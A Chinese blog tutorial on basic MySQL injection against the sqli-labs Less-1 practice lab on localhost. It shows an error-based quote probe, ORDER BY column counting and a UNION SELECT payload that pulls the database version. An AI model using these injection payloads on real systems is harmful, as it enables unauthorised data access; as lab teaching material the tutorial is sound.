MySQL注入中的一些储备知识

以Less-1为例
Less-1中存在SQL注入的语句:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
首先我们可以用id=1’来初步判断有没有SQL注入漏洞,出现了类似
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
这样的错误可以初步判断存在SQL注入漏洞,并且能很明显的看出这是一个MySQL类型的数据库
然后我们就可以判断当前使用的表有几列,http://127.0.0.1/Less-1/?id=1' order by 3%23,发现使用正常
http://127.0.0.1/Less-1/?id=1' order by 4%23时发现有问题,所以可以知道当前使用的表有三列,然后再看看显示出来的是哪几列,http://127.0.0.1/Less-1/?id=-1’ union select 1,2,3%23,可以看到显示出来的是第2,3列,然后就可以开始执行自己想要的SQL语句了

http://127.0.0.1/Less-1/?id=-1%27%20union%20select%201,2,version()%23
设置id=’-1’,%27是’,将其设置错误就不会执行。然后接着嵌入后面的内容%20是空格,%23是注释符号#,也可以使用–+(在url中必须输入%23而不是‘#’)
原句就是
http://127.0.0.1/Less-1/?id=-1’ union select 1,2,version()%23
目的是让前面的逻辑为0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值